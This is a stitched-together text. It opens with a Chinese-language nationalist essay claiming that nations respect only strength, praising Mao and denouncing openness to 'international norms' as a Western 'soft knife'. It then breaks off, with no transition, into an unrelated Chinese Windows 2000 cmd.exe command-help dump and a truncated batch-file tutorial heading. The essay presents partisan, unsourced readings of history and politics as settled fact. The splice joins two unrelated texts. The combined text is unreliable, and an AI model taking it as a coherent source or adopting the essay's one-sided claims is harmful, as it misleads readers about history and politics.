有些中国人很热衷于列举中国人如何聪明能干,如何温良恭俭让,文化历史如何灿烂,希望由此证明中国人并非劣种,应获尊重。有些人喜欢说中国人之所以被人瞧不起是因为中国人素质低、不文明,不卫生,等等。这种逻辑只适用于个人关系,不适用于国家关系。国际关系的现实规律是只尊重强者,瞧不起弱者。国 家之间只以强者为尊,弱者再有教养也照样被人瞧不起。不管有人说得如何天花乱坠,现实世界中的国家之间的关系本质上仍然是弱肉强食。不错,现在直接用 武力征服殖民地似乎不那么时髦了,因为没多大必要了。当年大家都“没开化”,所以要用洋枪洋炮先“开化”一番。等把你治服,乖乖赶进圈,这时再讲“文 明”,按人家订的规矩办:叫你挤奶就挤奶,叫你出血就出血,叫你割肉就割肉,叫你上屠宰流水线就上屠宰流水线,和平“接轨”,皆大欢喜。如果谁敢不遵,马上惩罚,轻则经济制裁,重则武力伺候,打你没商量。以为靠“德才工貌”或委曲求全就可以获得尊敬,这是“以君子之心,度小人之腹”。以为甘当弱者被人瞧不起也没什么关系,无非是嗟来之食或胯下之辱,脸皮一厚钻个裤挡就算完事,这是“以小巫之心,度大巫之腹”。“以小人之心,度君子之腹”是卑鄙 , “以君子之心,度小人之腹”是迂腐,“以小巫之心,度大巫之腹”则是既坏 又蠢。弱肉强食,甘当“弱肉”就得准备着被“强食”。西方曾流行一句话:“ 为了不妨碍强者,弱者应当死去。”甘当弱者就别抱怨南京大屠杀,因为那就是弱肉强食的体现,哪里是区区脸皮不脸皮的问题。顶多人家本来把你当兔子麻雀 一样打死吃肉,经你一番“论证”,人家承认你原来还有美丽的鹿角或漂亮的羽毛之类,可以制成标本放在客厅里供人观赏。“待遇”变了,仍然是猎物。既为猎物,何尊之有?中国文化与西方文化的最大差别之一在于对异国异类的思维方式。

一个讲究和平共处,互不侵犯,思维方式如大象犀牛之类草食动物;一个崇尚“弱肉强食”,“优胜劣败”,思维方式如虎豹豺狼之类肉食动物。所以一个是“人不犯我,我不犯人”;一个是 “人不犯我,我必犯人”。中国人如果不了 解这两种根本不同的思维方式,就永远搞不懂该如何跟人家打交道,也搞不清何为“尊重”,何为“瞧不起”,虽欲和平共处仍不可得。国家关系中的所谓“尊 重”就是不敢贸然扑上来跟你直接较量,但保不准会打着哈哈围着你打转,时不时还有意无意踹你一脚试探试探,看你还有没有那么强。如果你昏昏入睡或自己 变虚,那“尊重”就变成瞧不起。所谓“瞧不起”就是轻则随随便便就给你一巴掌,然后说你小子欠揍;重则把你一口吞了,骨头渣都不剩下。尊重与瞧不起从来不是绝对的、无条件的、一劳永逸的,而只是相对的、有条件的、暂时的,随着实力对比的变化而变化。你哪处强人家哪处尊重你,处处强处处尊重,一时强一时尊重,时时强时时尊重。同样,你哪处弱人家哪处瞧不起你,处处弱处处瞧不起,一时弱一时瞧不起,时时弱时时瞧不起。所谓强,不仅仅指有无强大实力,更指有无强者气质。想成为强者必须先有强者气质。没有强者气质的“强者”属于外强中干,迟早衰败。要说瞧不起,没有丝毫强者气质的弱者民族最叫人瞧 不起。这样的民族不仅现在是弱者,而且永远也成不了强者。一个没有现在、没有未来、没有希望的民族怎么可能不被人彻底瞧不起?什么是强者气质?作为一 个民族,至少得有叁条:一.精神上是强者;二.懂得保护自己;叁.能够一致对外。

人生在世,物质是基础,精神是支柱。没有物质,人不能生存;没有精神,人不 成其为人。没有人类的创造和需求,世界上只有物质,没有财富。人对物质财富的创造能力和吸收能力与人的精神财富密切相关,精神财富越足,物质财富的创造能力和吸收能力越强越持久,反之越弱越短暂。物质财富是死的、被动的,只能说明过去和现在;精神财富是活的、主动的,能够主导未来。“事在人为”,而人有精神才能有所为。一个民族物质上弱并不可怕,因为这种局面可以通过奋发图强来改变;如果精神上弱那才真可怕,因为那意味着这个民族失去了将来。 当然,想到的事不一定做得到,但想都不敢想的事则一定做不到。精神上的强者与弱者并不难判断:但凡有事,弱者求人,强者求己;处于逆境,弱者怨人,强 者励己。看看在台湾的国民党描述中国抗战史的纪录片,简直满目凄凉,一派丧气,除了怨天就是尤人:怪中国穷,怪满清留了个烂摊子,怪美国援助太少,怪 共产党不听话,怪日本太强大……说来说去都是自己吃败仗有理,真是“满纸荒唐言,一把辛酸泪”。

就凭这精神状态,国民党丢了中国大陆一点都不冤。就这样还没学会好好吸取教训,难怪搞得现在自己最后一点立足之地都岌岌可危。鸦片战争至今160多年了。前80多年(1840-1921)中国精神上处处被动挨打,物质上也就江河日下,从“天朝大国”一步步走向没落破产;精神上从妄自尊大、盲目乐观一步步走向彻底崩溃。后80多年(1921-2003)中国有了共产党,有了毛泽 东,有了毛泽东思想,从此在精神上彻底转弱为强,物质上也就从没落走向复兴。中国人首先扫荡了一切盲目自卑自负的错误心理:“ 我们中华民族有同自己的 敌人血战到底的气概,有在自力更生的基础上光复旧物的决心,有自立于世界民族之林的能力。” “这个军队具有一往无前的精神,它要压倒一切敌人,而决不被敌人所屈服。不论在任何艰难困苦的场合,只要还有一个人,这个人就要继续战斗下去。”“战略上藐视敌人,战术上重视敌人”。“战略上以一当十,战术上以十当一”……精神上的强大一步步导致了物质上的强大。星星之火变成了一个新中国,一穷二白的中国变成了“可上九天揽月”的世界核大国。古人云“一言兴邦”,这就是例子。而当年苏联物质力量不可谓不强,一旦精神上自我否定,“改换门庭”全盘西化,顷刻间土崩瓦解。“一言丧邦”,这也是例子。精神与物质孰轻孰重?精神崩溃了,物质力量再强又有何用?要成为强者,首先精神上必须是强者。古今中外所有的强国没有一个是自然而然消极被动就稀里糊涂强 盛起来的,无一不是“奋发图强”。不“奋”不“发”,不“图”不“强”。精神上连图强的勇气都没有,那除了等着别人来收拾还能干什么? 当年荷兰人用24美元的玻璃珠子之类就从印地安人手里捞到了纽约曼哈顿岛。对此西方人的想法第一是:这群不识货的傻瓜。第二是:既然能捞到个曼哈顿岛, 为什么不能把整个美洲大陆都捞过来?中国骂人贪心的成语是“得寸进尺”,英语里类似的成语是“得寸进哩”(Give an inch, take a mile。1英哩=63360英寸)。论起贪心来中国人还是嫩了点,野心膨胀十倍就觉得够坏了,哪象人家,胃口一涨就是六万叁千多倍,汉语成语都不够用。你在根本利益上让一分,就得准备着人家野心暴涨几万倍。不知道国家民族根本利益之所在,不懂得保护自己的要害,不懂得对外保持起码的警觉,这是典型的不懂得自我保护。这样的民族不仅被人瞧不起,而且必然引狼入室。保护自己不挨揍是自我保护,保护自己的银行帐号密码是自我保护,保护自己的头脑清醒同样是自我保护。就是说,保护 自己有叁重内容:安全,物质,精神。传统打仗是“兵马未动,粮草先行”,现代战争是“枪炮未动,电子先行”,而一个民族的自我保护则是“物质未动,精 神先行”。精神上无保护,叁下两下就被人绕昏了头,物质上的防护还能坚持多久?而要在精神上保护自己,首先得识货,知道什么是珍宝,什么是垃圾。外国列强欺负中国一百多年无敌手,唯独碰上了毛泽东和毛泽东思想之后才束手无策。

毛泽东对中国的份量有些中国人不清楚,跟毛泽东较量过的外国对手则一清二楚。现在有些中国人把毛泽东和毛泽东思想当垃圾,把人家的陈芝麻烂谷子当宝贝;诽谤污蔑毛泽东,津津乐道李鸿章、袁世凯……看到中国出了这种败家子, 把玻璃当钻石买,把钻石当玻璃卖;把英雄当**骂,把娼妓当英雄拜,人家当然心花怒放,胃口大开。朝鲜战争在毛泽东在世时被美国人忘得光光的,的的确 确成了“被遗忘的战争”。中国一开始有人否定毛泽东,人家就开始想起朝鲜战争来了,修了个“朝鲜战争纪念碑”。你越鼓吹“反思”抗美援朝,人家纪念朝鲜战争就越来劲。你请人家“消气”,人家马上炸了你的使馆。“反思”抗美援朝、否定毛泽东,等于公开告诉人家:我们不敢再反抗了,你们也别再害“中国吃惊病”了,别把进攻中国当成是不可想象的恶梦了,放心来征服吧。总之是向人家发出征服中国的邀请函。对这种自毁长城的行为听之任之等于放弃保护自己,甘愿由强转弱。





总之,对中国人来说现实的问题不是“软刀子”存在不存在的问题,而是如何识别,如何破除的问题。有些中国“精英”现在很热衷于“一切与国际接轨”,而且无条件、无保留。叫花子上街是别人给什么要什么,捞着什么吃什么。精明的主妇上街则只挑有用的,只拣买得起的,只要货真价实的,还要再讨价还价。同样是开放引进,中国应该学哪种? “与国际接轨”,有些你想接也接不上。比如引渡贪污犯,别看有些国家整天痛 骂中国贪污腐败,一副疾恶如仇大义凛然,但从中国逃过去的贪污犯去一个收一个,你要引渡,它不是要保护贪污犯的“人权”,就是要你就地打官司,一拖好 几年,先把贪污犯带过去的不义之财全变成他那里的律师费再说。等油水榨干自己捞足,引不引渡意思也不大了。况且司法领域很可能成为西方对付中国的下一 个王牌“软刀子”。你要盲目“接轨”,接来接去搞不好会弄得居然让自己的政府上人家法庭的被告席,求人家的青天大老爷主持公道,一下子就把中国的主权置于人家的法庭股掌之间。而人家搞的是判例法,开一个例,等于立一条法,从此随便什么阿猫阿狗都可以援引此例把中国的事搬到外国法庭告中国政府。如此一来别的不说,光律师费这一项就足以让你破产,用不着再搞什么关税非关税平衡赤字那一套了。这种“软刀子”滋味如何?

第二次鸦片战争中俄国借口“调停”“有功”,又威胁“兵端不难屡兴”,兵不血刃,一下子就割了中国一百四十四万多平方公里领土。 甲午战争前满清热衷于请外国“调停”而不热衷于备战,结果一败涂地。 九.一八时蒋介石下令“绝对不抵抗”,理由之一是“如果不发一枪,那么就可 以绝对证明中国人没错,是日本人侵略,国际社会就会站在他一边,谴责日本”。结果用整个东北只换来“国际联盟”对日本毫无约束的一纸谴责声明。 八.一叁松沪抗战,蒋介石以短击长,把中国军队主力集中到在最有利于日军发挥火力优势的地方硬拼消耗,主要目的不是为了军事需要,而是想配合“国际调停”。结果伤亡惨重,兵败如山倒,然后是南京大屠杀。蒋介石想靠美国人打败日本,却被美苏在雅尔塔拿中国的主权做了笔交易。蒋介 石不敢推翻这笔交易,又不敢直接承认外蒙古独立,便耍小聪明要外蒙古“民族自决”,被苏联顺水推舟,拉着他一起去监票。不折不扣“叫人家卖了,还去帮 着数票子”。中共曾让自己的军队接受共产国际派的洋专家指挥,结果一败再败,军队一下子从叁十万变成不足叁万,差点全军覆没。翻翻中国人的经历,中国人因依赖外国,或因盲目寄希望于外国而吃的亏往往比人家直接用武力来打还大。再看看苏联“休克疗法”的教训,结论:不能盲目迷信依赖外国。“与国际接轨”必须根据具体情况具体分析,不能无原则、无条件、无防范。鼓吹无条件地“与国际接轨”,本身就有点“软刀子”的味道

ver 


Microsoft Windows 2000 [Version 5.00.2195]
cmd /? 
启动 Windows 2000 命令解释器一个新的实例


CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF]
    [[/S] [/C | /K] string]


/C      执行字符串指定的命令然后终断
/K      执行字符串指定的命令但保留
/S      在 /C 或 /K 后修改字符串处理(见下)
/Q      关闭回应
/D      从注册表中停用执行 AutoRun 命令(见下)
/A      使向内部管道或文件命令的输出成为 ANSI
/U      使向内部管道或文件命令的输出成为 Unicode
/T:fg   设置前景/背景颜色(详细信息,请见 COLOR /?)
/E:ON   启用命令扩展(见下)
/E:OFF  停用命令扩展(见下)
/F:ON   启用文件和目录名称完成字符 (见下)
/F:OFF  停用文件和目录名称完成字符(见下)
/V:ON   将 c 作为定界符启动延缓环境变量扩展。如: /V:ON 会
        允许 !var! 在执行时允许 !var! 扩展变量 var。var 语法
        在输入时扩展变量,这与在一个 FOR 循环内不同。
/V:OFF  停用延缓的环境扩展。


请注意,如果字符串有引号,可以接受用命令分隔符 ‘&&’ 隔开
的多个命令。并且,由于兼容原因,/X 与 /E:ON 相同,/Y 与
/E:OFF 相同,并且 /R 与 /C 相同。忽略任何其它命令选项。


如果指定了 /C 或 /K,命令选项后的命令行其余部分将作为命令行处
理;在这种情况下,会使用下列逻辑处理引号字符(“):


    1.   如果符合下列所有条件,那么在命令行上的引号字符将被
        保留:


        – 不带 /S 命令选项
        – 整整两个引号字符
        – 在两个引号字符之间没有特殊字符,特殊字符为下列中的
          一个: <>()@^|
        – 在两个引号字符之间有至少一个空白字符
        – 在两个引号字符之间有至少一个可执行文件的名称。


    2.  否则,老办法是,看第一个字符是否是一个引号字符,如果
        是,舍去开头的字符并删除命令行上 的最后一个引号字符,
        保留最后一个引号字符之后的文字。


如果 /D 未在命令行上被指定,当 CMD.EXE 开始时,它会寻找
以下 REG_SZ/REG_EXPAND_SZ 注册表变量。如果其中一个或
两个都存在,这两个变量会先被执行。


    HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun


        和/或


    HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun


命令扩展是按默认值启用的。您也可以使用 /E:OFF,为某一
特定调用而停用扩展。您可以在机器上和/或用户登录会话上
启用或停用 CMD.EXE 所有调用的扩展,这要通过设置使用
REGEDT32.EXE 的注册表中的一个或两个 REG_DWORD 值:


    HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\EnableExtensions


        和/或


    HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions


到 0×1 或 0×0。  用户特定设置比机器设置有优先权。命令行
命令选项比注册表设置有优先权。


命令行扩展包括对下列命令所做的更改和/或添加:


    DEL 或 ERASE
    COLOR
    CD 或 CHDIR
    MD 或 MKDIR
    PROMPT
    PUSHD
    POPD
    SET
    SETLOCAL
    ENDLOCAL
    IF
    FOR
    CALL
    SHIFT
    GOTO
    START (同时包括对外部命令调用所做的更改)
    ASSOC
    FTYPE


有关详细信息,请键入 HELP 命令名。


延迟变量环境扩展不按默认值启用。您可以用/V:ON或 /V:OFF
命令选项,为 CMD.EXE 的某个调用而启用或停用延迟环境变量扩充。
您可以在机器上和/或用户登录会话上启用或停用 CMD.EXE 所有
调用的完成,这要通过设置使用 REGEDT32.EXE 的注册表中的
一个或两个 REG_DWORD 值:


    HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\DelayedExpansion


        和/或


    HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion


到 0×1 或 0×0。  用户特定设置比机器设置有优先权。命令行命令选项
比注册表设置有优先权。


如果延迟环境变量扩充被启用,惊叹号字符可在执行时间,被用来
代替一个环境变量的数值。


文件和目录名完成不按默认值启用。您可以用 /F:ON 或 /F:OFF
命令选项,为 CMD.EXE 的某个调用而启用或停用文件名完成。 您可以
在机器上和/或用户登录会话上启用或停用 CMD.EXE 所有调用的
完成,这要通过设置使用 REGEDT32.EXE 的注册表中的一个或两个
REG_DWORD 值:


    HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\CompletionChar
    HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\PathCompletionChar


        和/或


    HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar
    HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar


由一个控制字符的十六进制值作为一个特定参数(例如,0×4 是
Ctrl-D,0×6 是 Ctrl-F)。 用户特定设置优先于机器设置。命令行
命令选项优先于注册表设置。


如果完成是用 /F:ON 命令选项启用的,两个要使用的控制符是: 目录名
字完成用 Ctrl-D, 文件名完成用 Ctrl-F。 要停用注册表中的某个
字符,请用空格 (0×20) 的数值,因为此字符不是控制字符。


如果键入两个控制字符中的一个,完成会被调用。完成功能将
路径字符长带到光标的左边,如果没有通配符,将通配符附加
到左边,并建立相符的路径列表。然后,显示第一个相符的路
径。如果没有相符的路径,则发出嘟嘟声,不影响显示。之后,
重复按同一个控制字符会循环显示相符路径的列表。将 Shift 键
跟控制字符同时按下,会倒着显示列表。如果对该行进行了任
何编辑,并再次按下控制字符,保存的相符路径的列表会被丢弃,
新的会被生成。如果在文件和目录名完成之间命令选项,会发生
同样现象。两个控制字符之间的唯一区别是文件完成字符符合
文件和目录名,而目录完成字符只符合目录名。如果文件完成
被用于内置式目录命令(CD, MD 或 RD),就会使用目录完成。


将引号将相符路径括起来,完成代码可以正确处理含有空格
或其它特殊字符的文件名。同时,如果备份,然后从行内调用
文件完成,完成被调用是位于光标右方的文字会被丢弃。


rem /? 
在批处理文件或 CONFIG.SYS 里加上注解或说明。


REM [comment]
if /? 
在批程序中执行条件处理。


IF [NOT] ERRORLEVEL number command
IF [NOT] string1==string2 command
IF [NOT] EXIST filename command


  NOT               指定只有条件为 false 的情况下, Windows 2000 才
                    应该执行该命令。


  ERRORLEVEL number 如果最后运行的程序返回一个等于或大于
                    指定数字的退出编码,指定条件为 true。


  string1==string2  如果指定的文本字符串匹配,指定一个 true
                    条件。


  EXIST filename    如果指定的文件名存在,指定一个 true 条件。


  command           如果条件符合,指定要执行的命令。如果指定的
                     条件为 FALSE,ELSE 命令可随在命令之后,ELSE
                      命令将在 ELSE 关键字之后执行该命令。


ELSE 子句必须在 IF 之后出现在同一行上。例如:


    IF EXIST filename. (
        del filename.
    ) ELSE (
        echo filename. missing.
    )


因为 del 命令需要用一个新行终止,以下子句不会有效:


IF EXIST filename. del filename. ELSE echo filename. missing


由于ELSE 命令必须与 IF 命令的尾端在同一行上,以下子句也
不会有效:


    IF EXIST filename. del filename.
    ELSE echo filename. missing


如果都放在同一行上,以下子句有效:


    IF EXIST filename. (del filename.) ELSE echo filename. missing


如果命令扩展名被启用,IF 会如下改变:


    IF [/I] string1 compare-op string2 command
    IF CMDEXTVERSION number command
    IF DEFINED variable command


其中,比较运算符可以是:


    EQU – 等于
    NEQ – 不等于
    LSS – 小于
    LEQ – 小于或等于
    GTR – 大于
    GEQ – 大于或等于


及 /I 命令选项;如果该命令选项被指定,则说明要进行的字符串比较不分
大小写。/I 命令选项可以用于 IF 的 string1==string2 的形式上。这些
比较都是通用的;原因是,如果 string1 和 string2 都是由数字
组成的,字符串会被转换成数字,进行数字比较。


CMDEXTVERSION 条件的作用跟 ERRORLEVEL 的一样,除了它
是在跟与命令扩展名有关联的内部版本号比较。第一个版本
是 1。每次对命令扩展名有相当大的增强时,版本号会增加一个。
命令扩展名被停用时,CMDEXTVERSION 条件不是真的。


如果已定义环境变量,DEFINED 条件的作用跟 EXISTS 的一样,
除了它取得一个环境变量,返回的结果是 true。


如果没有名为 ERRORLEVEL 的环境变量,%ERRORLEVEL%
会扩充为 ERROLEVEL 当前数值的字串符表达式;否则,您会得到
其数值。运行程序后,以下语句说明 ERRORLEVEL 的用法:


    goto answer%ERRORLEVEL%
    :answer0
    echo Program had return code 0
    :answer1
    echo Program had return code 1


您也可以使用以上的数字比较:


    IF %ERRORLEVEL% LEQ 1 goto okay


如果没有名为 CMDCMDLINE 的环境变量,%CMDCMDLINE%
将在 CMD.EXE 进行任何处理前扩充为传递给 CMD.EXE 的原始
命令行;否则,您会得到其数值。


如果没有名为 CMDEXTVERSION 的环境变量,
%CMDEXTVERSION% 会扩充为 CMDEXTVERSION 当前数值的
字串符表达式;否则,您会得到其数值。
goto /? 
将 cmd.exe 导向到批处理程序中带标签的行。


GOTO label


  label   指定批处理程序中用作标签的文字字符串。


标签必须单独一行,并且以冒号打头。


如果命令扩展名被启用,GOTO 会如下改变:


GOTO 命令现在接受目标标签 :EOF,这个标签将控制转移到当前
批脚本文件的结尾。不定义就退出批脚本文件,这是一个容易的
办法。有关能使该功能有用的 CALL 命令的扩展名描述,请键入
CALL /?。
for /? 
对一组文件中的每一个文件执行某个特定命令。


FOR %variable IN (set) DO command [command-parameters]


  %variable  指定可替换的参数。
  (set)      指定一个或一组文件。可以使用通配符。
  command    指定对每个文件执行的命令。
  command-parameters
             对特定命令所指定的参数。


在批处理文件中使用 FOR 命令时, 指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I.


如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:


FOR /D %variable IN (set) DO command [command-parameters]


    如果集中包含通配符,则指定与目录名匹配,而不与文件
    名匹配。


FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]


    检查以 [drive:]path 为根的目录树,指向每个目录中的
    FOR 语句。如果在 /R 后没有指定目录,则使用当前
    目录。如果集仅为一个单点(.)字符,则枚举该目录树。


FOR /L %variable IN (start,step,end) DO command [command-parameters]


    该集表示以增量形式从开始到结束的一个数字序列。
    因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
    序列 (5 4 3 2 1)。


FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN (“string”) DO command [command-parameters]
FOR /F ["options"] %variable IN (‘command’) DO command [command-parameters]


    或者,如果有 usebackq 选项:


FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
FOR /F ["options"] %variable IN (“string”) DO command [command-parameters]
FOR /F ["options"] %variable IN (‘command’) DO command [command-parameters]


    filenameset 为一个或多个文件名。继续到 filenameset 中的
   下一个文件之前,每份文件都已被打开、读取并经过处理。
    处理包括读取文件,将其分成一行行的文字,然后将每行
    解析成零或更多的符号。然后用已找到的符号字符串变量值
    调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
    的第一个空白符号。跳过空白行。您可通过指定可选 “options”
    参数替代默认解析操作。这个带引号的字符串包括一个或多个
    指定不同解析选项的关键字。这些关键字为:


        eol=c           – 指一个行注释字符的结尾(就一个)
        skip=n          – 指在文件开始时忽略的行数。
        delims=xxx      – 指分隔符集。这个替换了空格和跳格键的
                          默认分隔符集。
        tokens=x,y,m-n  – 指每行的哪一个符号被传递到每个迭代
                          的 for 本身。这会导致额外变量名称的分配。m-n
                          格式为一个范围。通过 nth 符号指定 mth。如果
                          符号字符串中的最后一个字符星号,
                          那么额外的变量将在最后一个符号解析之后
                          分配并接受行的保留文本。
        usebackq        – 指定新语法已在下类情况中使用:                   
                          在作为命令执行一个后引号的字符串并且一个单
                          引号字符为文字字符串命令并允许在 filenameset
                          中使用双引号扩起文件名称。


    某些范例可能有助:


FOR /F “eol=; tokens=2,3* delims=, ” %i in (myfile.txt) do @echo %i %j %k


    会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
    每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
    空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
    取得第二个符号,引用 %j 来取得第三个符号,引用 %k
    来取得第三个符号后的所有剩余符号。对于带有空格的文件
    名,您需要用双引号将文件名括起来。为了用这种方式来使
    用双引号,您还需要使用 usebackq 选项,否则,双引号会
    被理解成是用作定义某个要分析的字符串的。


    %i 专门在 for 语句中得到说明,%j 和 %k 是通过
    tokens= 选项专门得到说明的。您可以通过 tokens= 一行
    指定最多 26 个符号,只要不试图说明一个高于字母 ‘z’ 或
    ‘Z’ 的变量。请记住,FOR 变量名分大小写,是通用的;而且,
    同时不能有 52 个以上都在使用中。


    您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
    用单引号将括号之间的 filenameset 括起来。这样,该字符
    串会被当作一个文件中的一个单一输入行。


    最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
    括号之间的 filenameset 变成一个反括字符串。该字符串会
    被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
    内存,并被当作文件分析。因此,以下例子:


      FOR /F “usebackq delims==” %i IN (`set`) DO @echo %i


    会枚举当前环境中的环境变量名称。


另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:


     ~I         – 删除任何引号(“),扩充 %I
     %~fI        – 将 %I 扩充到一个完全合格的路径名
     %~dI        – 仅将 %I 扩充到一个驱动器号
     %~pI        – 仅将 %I 扩充到一个路径
     %~nI        – 仅将 %I 扩充到一个文件名
     %~xI        – 仅将 %I 扩充到一个文件扩展名
     %~sI        – 扩充的路径只含有短名
     %~aI        – 将 %I 扩充到文件的文件属性
     %~tI        – 将 %I 扩充到文件的日期/时间
     %~zI        – 将 %I 扩充到文件的大小
     %~$PATH:I   – 查找列在路径环境变量的目录,并将 %I 扩充
                   到找到的第一个完全合格的名称。如果环境变量名
                   未被定义,或者没有找到文件,此组合键会扩充到
                   空字符串


可以组合修饰符来得到多重结果:


     %~dpI       – 仅将 %I 扩充到一个驱动器号和路径
     %~nxI       – 仅将 %I 扩充到一个文件名和扩展名
     %~fsI       – 仅将 %I 扩充到一个带有短名的完整路径名
     %~dp$PATH:i – 查找列在路径环境变量的目录,并将 %I 扩充
                   到找到的第一个驱动器号和路径。
     %~ftzaI     – 将 %I 扩充到类似输出线路的 DIR


在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
shift /? 
更改批处理文件中可替换参数的位置。


SHIFT [/n]


如果命令扩展名被启用,SHIFT 命令支持/n 命令选项;该命令选项告诉
命令从第 n 个参数开始移位;n 介于零和八之间。例如:


    SHIFT /2


会将 %3 移位到 %2,将 %4 移位到 %3,等等;并且不影响 %0 和 %1。
call /? 
从批处理程序调用另一个批处理程序。


CALL [drive:][path]filename [batch-parameters]


  batch-parameters   指定批处理程序所需要的命令行信息。


如果命令扩展名被启用,CALL 会如下改变:


CALL 命令现在将卷标当作 CALL 的目标接受。语法是:


    CALL:label arguments


一个新的批文件上下文由指定的参数所创建,控制在卷标被指定
后传递到语句。您必须通过达到批脚本文件末两次来 “exit” 两次。
第一次读到文件末时,控制会回到 CALL 语句的紧后面。第二次
会退出批脚本。键入 GOTO /?,参看 GOTO  : EOF  扩展名的描述,
此描述允许您从一个批脚本返回。


另外,批脚本文本参数参照(%0、%1、等等)已如下改变:



     批脚本里的 %* 指出所有的参数(如 %1 %2 %3 %4 %5 …)


     批参数(%n)的替代已被增强。您可以使用以下语法:


         %~1         – 删除引号(“),扩充 %1
         %~f1        – 将 %1 扩充到一个完全合格的路径名
         %~d1       – 仅将 %1 扩充到一个驱动器号
         %~p1       – 仅将 %1 扩充到一个路径
         %~n1       – 仅将 %1 扩充到一个文件名
         %~x1       – 仅将 %1 扩充到一个文件扩展名
         %~s1       – 扩充的路径指含有短名
         %~a1       – 将 %1 扩充到文件属性
         %~t1        – 将 %1 扩充到文件的日期/时间
         %~z1       – 将 %1 扩充到文件的大小
         %~$PATH : 1   – 查找列在 PATH 环境变量的目录,并将 %1
                       扩充到找到的第一个完全合格的名称。如果环境
                       变量名未被定义,或者没有找到文件,此组合键会
                       扩充到空字符串


    可以组合修定符来取得多重结果:


        %~dp1       – 只将 %1 扩展到驱动器号和路径
        %~nx1       – 只将 %1 扩展到文件名和扩展名
        %~dp$PATH:1 – 在列在 PATH 环境变量中的目录里查找 %1,
                       并扩展到找到的第一个文件的驱动器号和路径。
        %~ftza1     – 将 %1 扩展到类似 DIR 的输出行。


    在上面的例子中,%1 和 PATH 可以被其它有效数值替换。
    %~ 语法被一个有效参数号码终止。%~ 修定符不能跟 %*
    使用
type /? 
显示文本文件的内容。


TYPE [drive:][path]filename
find /? 
在文件中搜索字符串。


FIND [/V] [/C] [/N] [/I] “string” [[drive:][path]filename[ ...]]


  /V        显示所有未包含指定字符串的行。
  /C        仅显示包含字符串的行数。
  /N        显示行号。
  /I        搜索字符串时忽略大小写。
  “string”  指定要搜索的文字串,
  [drive:][path]filename
            指定要搜索的文件。


如果没有指定路径,FIND 将搜索键入的或者由另一命令产生的文字。
findstr /? 
在文件中寻找字符串。


FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/F:file]
        [/C:string] [/G:file] [/D:dir list] [/A:color attributes]
        [strings] [[drive:][path]filename[ ...]]


  /B        在一行的开始配对模式。
  /E        在一行的结尾配对模式。
  /L        按字使用搜索字符串。
  /R        将搜索字符串作为一般表达式使用。
  /S        在当前目录和所有子目录中搜索
              匹配文件。
  /I         指定搜索不分大小写。
  /X        打印完全匹配的行。
  /V        只打印不包含匹配的行。
  /N        在匹配的每行前打印行数。
  /M        如果文件含有匹配项,只打印其文件名。
  /O        在每个匹配行前打印字符偏移量。
  /P        忽略有不可打印字符的文件。
  /A:attr   指定有十六进位数字的颜色属性。请见 “color /?”
  /F:file   从指定文件读文件列表 (/ 代表控制台)。
  /C:string 使用指定字符串作为文字搜索字符串。
  /G:file   从指定的文件获得搜索字符串。 (/ 代表控制台)。
  /D:dir    查找以分号为分隔符的目录列表
  strings   要查找的文字。
  [drive:][path]filename
            指定要查找的文件。


除非参数有 /C 前缀,请使用空格隔开搜索字符串。
例如: ‘FINDSTR “hello there” x.y’ 在文件 x.y 中寻找 “hello” 或
“there” 。  ‘FINDSTR /C:”hello there” x.y’ 文件 x.y  寻找
“hello there”。


一般表达式的快速参考:
  .        通配符: 任何字符
  *        重复: 以前字符或类别出现零或零以上次数
  ^        行位置: 行的开始
  $        行位置: 行的终点
  [class]  字符类别: 任何在字符集中的字符
  [^class] 补字符类别: 任何不在字符集中的字符
  [x-y]    范围: 在指定范围内的任何字符
  \x       Escape: 元字符 x 的文字用法
  \<xyz    字位置: 字的开始
  xyz\>    字位置: 字的结束


有关 FINDSTR 常见表达法的详细情况,请见联机命令参考。
copy /? 
将一份或多份文件复制到另一个位置。


COPY [/V] [/N] [/Y | /-Y] [/Z] [/A | /B ] source [/A | /B]
     [+ source [/A | /B] [+ ...]] [destination [/A | /B]]


  source       指定要复制的文件。
  /A           表示一个 ASCII 文本文件。
  /B          表示一个二进位文件。
  destination  为新文件指定目录和/或文件名称。
  /V           验证新文件写得正确。
  /N           当复制一份带有非 8dot3 名称的文件,
               如果可能的话,使用短文件名。
  /Y           取消提示以确认您希望改写
               一份现存目录文件。
  /-Y          引起提示确认您想改写一份
               现存目标文件。
  /Z           用可重新启动模式复制已联网的文件。


命令选项 /Y 可以在 COPYCMD 环境变量中预先设定。
这可能会被命令行上的  /-Y 替代。除非 COPY
命令是在一个批文件脚本中执行的,默认应为
在改写时提示。


要附加文件,请为目标指定一个文件,为源指定
数个文件(用通配符或 file1+file2+file3 格式)。

win2k下的批处理BAT文件运用


 


1. 所有内置命令的帮助信息 
2. 
环境变量的概念 
3. 
内置的特殊符号(实际使用中间注意避开
